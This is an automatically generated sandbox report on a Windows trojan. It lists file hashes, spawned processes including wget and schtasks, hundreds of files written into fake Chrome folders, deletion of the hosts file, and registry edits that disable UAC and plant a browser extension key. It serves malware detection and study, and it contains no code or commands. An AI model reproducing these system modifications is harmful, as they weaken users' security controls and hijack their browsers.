Skip to main content

Trojan.Generic.12567452_d1c0b82ed4


Trojan.Win32.VB.ctxv (Kaspersky), Trojan.Generic.12567452 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: d1c0b82ed48224aaf8dc62af613ff6e7

SHA1: cfc92654230dd78e23e7de84bcd5fd5cf15141f0

SHA256: c4634987746e39452ddbe3aac027d8ca26584e893fa716705cee91d0966d1bf8

SSDeep: 12288:7NIQAPGsAqY9IMVYd38sJdpQHlGlY8KfT7lgmrHb/l9TXQCN:cPGSY91VwNJcFMqT7qsbdVXlN

Size: 641147 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: MicrosoftVisualCv71EXE, MicrosoftVisualCv70, UPolyXv05_v6

Company:

Created at: 2009-09-25 21:57:32

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1756
schtasks.exe:136
schtasks.exe:816
wget.exe:1952
arsiv.exe:1948
Charles.exe:1772

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1756 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Charles.exe (5663 bytes)

The process wget.exe:1952 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\arsiv.exe (4348221 bytes)

The process arsiv.exe:1948 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll (277843 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.pak (4074 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\chrome.exe (30992 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\icudt.dll (455362 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.pak (5049 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.pak (1274 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.pak (2249 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome.dll (794832 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\resources.pak (40311 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.pak (4074 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.pak (3461 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.pak (3257 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.dll (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\__tmp_rar_sfx_access_check_485937 (0 bytes)

The process Charles.exe:1772 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.pak (1425 bytes)
%Documents and Settings%\%current user%\Application Data\king.js (1 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.pak (4185 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.pak (1281 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (249 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\resources.pak (43124 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.pak (4545 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\libpeerconnection.dll (15116 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.pak (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Preferences (73 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.dll (10 bytes)
%System%\drivers\etc\hosts (394 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\icudt.dll (76505 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\chrome_100_percent.pak (7345 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.pak (1281 bytes)
%Documents and Settings%\%current user%\Desktop\Google Chrome.lnk (791 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.pak (1425 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (1333 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\chrome.dll (360605 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.pak (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\agaicoecbpphpapkadlhpkjbnlegeopm\king.js (1 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.pak (4185 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\pepflashplayer.dll (113356 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.pak (1281 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (32 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.dll (10 bytes)
%Program Files%\Google\Chrome\Application\chrome.exe (5889 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.dll (9 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions (0 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (0 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (0 bytes)
%System%\drivers\etc\hosts (0 bytes)
%Documents and Settings%\%current user%\Application Data\king.js (0 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (0 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (0 bytes)
%Documents and Settings%\%current user%\Application Data\update.txt (0 bytes)

Registry activity

The process %original file name%.exe:1756 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 56 40 2F FB 92 52 04 1F 6F 34 60 28 8A 92 10"

The process schtasks.exe:136 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 B2 82 7F 9D 40 68 87 78 09 71 57 FB 0C 39 93"

The process schtasks.exe:816 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "08 B1 6F 77 3D DF 04 F9 2A 53 49 35 1C 70 A1 A0"

The process wget.exe:1952 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9B 13 6E 50 5D D0 E7 27 D9 C1 86 87 F8 47 F9 AD"

The process arsiv.exe:1948 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 23 78 75 17 91 78 9F D0 94 04 4E 9A D0 D2 54"

The process Charles.exe:1772 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLUA" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Kingsoft]
"userdata" = "-userdata_ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Kingsoft]
"id_key" = "agaicoecbpphpapkadlhpkjbnlegeopm#MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC09Ad4okJYjGi4uLCJ7U2vobdjTzb8GhqTc0u8ADZ9smXUTgL0MxACh5xYKS4HUv7rvPS sjYkwmIRonZdRxU 7qrPP0vRF3VpFWV4rADmwrIO2qRWi2ZXD0KbN4rhKkkiiMcvW OKdki1dF/pgKxMiCG5QrjILmNp4Xn Cfr8qQIDAQAB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
